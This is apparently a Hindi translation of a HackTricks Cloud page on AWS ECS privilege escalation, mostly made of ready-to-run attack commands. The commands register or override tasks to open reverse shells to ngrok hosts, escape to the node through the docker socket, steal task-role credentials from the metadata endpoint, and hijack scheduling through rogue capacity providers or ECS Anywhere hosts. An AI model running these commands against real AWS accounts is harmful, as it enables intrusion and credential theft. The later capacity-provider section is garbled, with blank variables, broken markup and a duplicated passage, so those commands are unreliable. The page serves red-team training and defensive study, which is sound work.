AWS - ECS Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

ECS

ECS के बारे में अधिक जानकारी:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

ECS में iam:PassRole, ecs:RegisterTaskDefinition और ecs:RunTask permission का दुरुपयोग करने वाला attacker एक नया task definition जनरेट कर सकता है जिसमें एक malicious container हो जो metadata credentials चुरा ले और उसे run कर दे।

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

संभावित प्रभाव: Direct privesc to a different ECS role.

iam:PassRole,ecs:RunTask

यदि किसी attacker के पास iam:PassRole और ecs:RunTask permissions हैं, तो वह संशोधित execution role, task role और container के command मानों के साथ एक नया ECS task शुरू कर सकता है। ecs run-task CLI command में --overrides flag होता है, जो runtime पर executionRoleArn, taskRoleArn और container के command को task definition को छुए बिना बदलने की अनुमति देता है।

taskRoleArn और executionRoleArn के लिए निर्दिष्ट IAM roles की trust policy में उन्हें ecs-tasks.amazonaws.com द्वारा assume किए जाने की अनुमति/विश्वास होना चाहिए।

साथ ही attacker को निम्न जानकारियाँ पता होनी चाहिए:

  • ECS cluster का नाम
  • VPC Subnet
  • Security group (यदि कोई security group निर्दिष्ट नहीं किया गया है तो डिफ़ॉल्ट इस्तेमाल किया जाएगा)
  • Task Definition का नाम और revision
  • Container का नाम
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

ऊपर दिए गए कोड स्निपेट में एक attacker केवल taskRoleArn value को ओवरराइड करता है। हालाँकि, इस attack के होने के लिए attacker के पास कमांड में specified taskRoleArn और task definition में specified executionRoleArn दोनों पर iam:PassRole permission होना आवश्यक है।

यदि attacker द्वारा पास किया जा सकने वाला IAM role ECR image को pull करने और ECS task शुरू करने के लिए पर्याप्त privileges रखता है (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken) तो attacker ecs run-task command में दोनों executionRoleArn और taskRoleArn के लिए एक ही IAM role specify कर सकता है।

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

संभावित प्रभाव: किसी भी ECS task role पर सीधे privesc।

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

पिछले उदाहरण की तरह, ECS में iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask permissions का दुरुपयोग करने वाला हमलावर एक नया task definition generate कर सकता है जिसमें एक malicious container हो जो metadata credentials चुरा ले और उसे run कर दे।
हालाँकि, इस मामले में malicious task definition को चलाने के लिए एक container instance का होना आवश्यक है।

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

संभावित प्रभाव: किसी भी ECS role पर सीधे privesc।

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

पिछले उदाहरण की तरह एक attacker जो ECS में iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService या ecs:CreateService permissions का दुरुपयोग करता है, वह एक नया task definition generate कर सकता है जिसमें एक malicious container हो जो metadata credentials चुरा लेता है और उसे कम से कम 1 task चलने वाली एक नई service बनाकर run करवा सकता है।

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potential Impact: किसी भी ECS role तक सीधे privesc।

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

दरअसल, केवल उन permissions के साथ overrides का उपयोग करके किसी container में arbitrary commands execute करना और arbitrary role के साथ ऐसा करना संभव है, कुछ इस तरह:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

संभावित प्रभाव: किसी भी ECS role पर सीधे privesc।

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

यह परिदृश्य पिछले मामलों की तरह है लेकिन बिना iam:PassRole अनुमति के।
यह अभी भी महत्वपूर्ण है क्योंकि यदि आप कोई arbitrary container चला सकते हैं, भले ही वह role के बिना हो, तो आप run a privileged container to escape करके node तक पहुँच सकते हैं और steal the EC2 IAM role और node पर चल रहे other ECS containers roles चुरा सकते हैं।
आप यहां तक कर सकते हैं कि आप compromise किए गए EC2 instance के अंदर अन्य tasks को force other tasks to run inside the EC2 instance चलवा दें ताकि उनकी credentials चुराई जा सकें (जैसा कि Privesc to node section में चर्चा की गई है)।

Warning

यह attack केवल तभी संभव है यदि ECS cluster is using EC2 instances हों और Fargate नहीं।

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

एक attacker जिसके पास ecs:ExecuteCommand, ecs:DescribeTasks है, वह एक running container के अंदर कमांड निष्पादित कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की आवश्यकता होती है क्योंकि aws ecs execute-command चलाने के लिए यह जरूरी है).
हालाँकि, ऐसा करने के लिए, container instance पर ExecuteCommand agent चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)।

Therefore, the attacker cloud try to:

  • हर running container में कमांड चलाने की कोशिश करें
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • यदि उसके पास ecs:RunTask है, तो aws ecs run-task --enable-execute-command [...] के साथ एक task चलाएँ
  • यदि उसके पास ecs:StartTask है, तो aws ecs start-task --enable-execute-command [...] के साथ एक task चलाएँ
  • यदि उसके पास ecs:CreateService है, तो aws ecs create-service --enable-execute-command [...] के साथ एक service बनाएँ
  • यदि उसके पास ecs:UpdateService है, तो aws ecs update-service --enable-execute-command [...] के साथ एक service अपडेट करें

आप उन विकल्पों के उदाहरण previous ECS privesc sections में देख सकते हैं।

संभावित प्रभाव: containers से जुड़े किसी अन्य role पर Privesc।

ssm:StartSession

यह जाँचें कि ssm privesc page में आप इस permission का दुरुपयोग करके privesc to ECS कैसे कर सकते हैं:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

यहाँ देखें कि ec2 privesc page में आप इन permissions का दुरुपयोग करके privesc to ECS कैसे कर सकते हैं:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

इन permissions वाले एक हमलावर के लिए संभवतः एक EC2 instance को किसी ECS क्लस्टर में register करना और उस पर tasks चलाना संभव हो सकता है। इससे हमलावर को ECS tasks के संदर्भ में arbitrary code निष्पादित करने की अनुमति मिल सकती है।

  • TODO: क्या यह संभव है कि किसी अलग AWS account से एक instance रजिस्टर किया जाए ताकि tasks हमलावर द्वारा नियंत्रित machines पर चलें??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

Note

TODO: Test this

एक हमलावर जिनके पास ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, और ecs:DescribeTaskSets permissions हैं, वह किसी मौजूदा ECS service के लिए एक दुर्भावनापूर्ण task set बना सकता है और primary task set को अपडेट कर सकता है। इससे हमलावर को service के भीतर arbitrary code निष्पादित करने की अनुमति मिल जाती है।

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

संभावित प्रभाव: प्रभावित सेवा में मनमाना कोड चलाना, जिससे उसकी कार्यक्षमता प्रभावित हो सकती है या संवेदनशील डेटा का बाहर निकलना/चोरी होना संभव है।

संदर्भ

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

ECS capacity providers को प्रबंधित करने और services अपडेट करने की permissions वाले किसी attacker के पास एक ऐसा EC2 Auto Scaling Group बनाने की क्षमता होती है जिसे वह नियंत्रित करे, उसे एक ECS Capacity Provider में लपेट कर target cluster से associate करे, और victim service को इस provider पर migrate कर दे। इसके बाद tasks attacker-controlled EC2 instances पर schedule होंगे, जिससे containers की जाँच करने और task role credentials चुराने जैसी OS-level पहुँच मिल जाएगी।

Commands (us-east-1):

  • पूर्वापेक्षाएँ

  • ECS agent को target cluster से जोड़ने के लिए Launch Template बनाएँ

  • Auto Scaling Group बनाएँ

  • ASG से Capacity Provider बनाएँ

  • Capacity Provider को cluster से associate करें (वैकल्पिक रूप से default के रूप में)

  • किसी service को अपने provider पर migrate करें

  • सुनिश्चित करें कि tasks attacker instances पर चल रहे हैं

  • वैकल्पिक: EC2 node से docker exec करके target containers में प्रवेश करें और http://169.254.170.2 पढ़कर task role credentials प्राप्त करें।

  • सफाई

संभावित प्रभाव: attacker-controlled EC2 नोड्स को victim tasks मिलते हैं, जिससे containers पर OS-level पहुँच और task IAM role credentials की चोरी संभव होती है।

चरण-दर-चरण कमांड (कॉपी/पेस्ट)
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62 SUBNETS=

AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=

ASG_ARN=

CP_NAME=htcp-8797 aws ecs create-capacity-provider –name –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED” aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers –default-capacity-provider-strategy capacityProvider=,weight=1

SVC=

Task definition must be EC2-compatible (not Fargate-only)

aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment

TASK= CI= aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

ECS Anywhere का दुरुपयोग करके attacker-controlled host को victim ECS cluster में एक EXTERNAL container instance के रूप में register करें और privileged task और execution roles का उपयोग करके उस host पर tasks चलाएँ। इससे आपको यह नियंत्रित करने का OS-level नियंत्रण मिलता है कि tasks कहाँ चलते हैं (आपकी अपनी मशीन) और यह tasks और attached volumes से credentials/डेटा चोरी करने की अनुमति देता है बिना capacity providers या ASGs को छुए।

  • आवश्यक permissions (न्यूनतम उदाहरण):

  • ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask

  • ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation

  • iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)

  • logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

  • प्रभाव: चुने हुए taskRoleArn के साथ attacker host पर मनमाने containers चलाएँ; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI से task-role credentials निकालें; tasks द्वारा mounted किसी भी volumes तक पहुँच हासिल करें; capacity providers/ASGs को बदलने की तुलना में यह अधिक stealthier तरीका है।

Steps

  1. cluster बनाएँ/पहचानें (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
  1. ECS Anywhere role और SSM activation बनाएं (on-prem/EXTERNAL instance के लिए)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
  1. हमलावर होस्ट को तैनात करें और इसे स्वचालित रूप से EXTERNAL के रूप में रजिस्टर करें (उदाहरण: छोटे AL2 EC2 को “on‑prem” के रूप में)
user-data.sh ```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```
```bash AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) aws ec2 wait instance-status-ok --instance-ids $IID ``` 4) सत्यापित करें कि EXTERNAL container instance जुड़ा हुआ है ```bash aws ecs list-container-instances --cluster ht-ecs-anywhere aws ecs describe-container-instances --cluster ht-ecs-anywhere \ --container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external ``` 5) task/execution roles बनाएं, EXTERNAL task definition रजिस्टर करें, और इसे attacker host पर चलाएं ```bash # roles aws iam create-role --role-name ht-ecs-task-exec \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy aws iam create-role --role-name ht-ecs-task-role \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' # attach any privileges you want to abuse to this task role

task def (EXTERNAL launch)

cat > td-external.json << ‘JSON’ { “family”: “ht-external”, “requiresCompatibilities”: [ “EXTERNAL” ], “networkMode”: “bridge”, “memory”: “256”, “cpu”: “128”, “executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”, “taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”, “containerDefinitions”: [ {“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”, “entryPoint”:[“/bin/sh”,“-c”], “command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”], “memory”: 128, “logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}} } ] } JSON aws logs create-log-group –log-group-name /ht/ecs/anywhere || true aws ecs register-task-definition –cli-input-json file://td-external.json CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text) aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external
–container-instances $CI

6) From here you control the host that runs the tasks. You can read task logs (if awslogs) or directly exec on the host to exfiltrate credentials/data from your tasks.

#### कमांड उदाहरण (placeholders)

### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

यदि किसी attacker के पास ECS capacity providers को manage करने और services अपडेट करने की permissions हों, तो वह एक EC2 Auto Scaling Group बना सकता है जिस पर वह नियंत्रण रखता है, उसे एक ECS Capacity Provider में पैक कर सकता है, उसे target cluster से associate कर सकता है, और victim service को इस provider पर migrate कर सकता है। फिर tasks attacker-controlled EC2 instances पर schedule हो जाएँगी, जिससे containers की जांच करने और task role credentials चुराने के लिए OS-level access मिल जाएगा।

Commands (us-east-1):

- पूर्व-आवश्यकताएँ

- Target cluster में शामिल होने के लिए ECS agent के लिए Create Launch Template

- Create Auto Scaling Group

- ASG से Create Capacity Provider

- Capacity Provider को cluster से associate करें (वैकल्पिक रूप से default के रूप में)

- किसी service को अपने provider पर migrate करें

- सुनिश्चित करें कि tasks attacker instances पर land हो रही हैं

- Optional: EC2 node से, docker exec करके target containers में जाएँ और http://169.254.170.2 पढ़कर task role credentials प्राप्त करें।

- Cleanup

**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
> [!TIP]
> AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks का समर्थन करें</summary>
>
> - [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
> - **हैकिंग ट्रिक्स साझा करें, PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
>
> </details>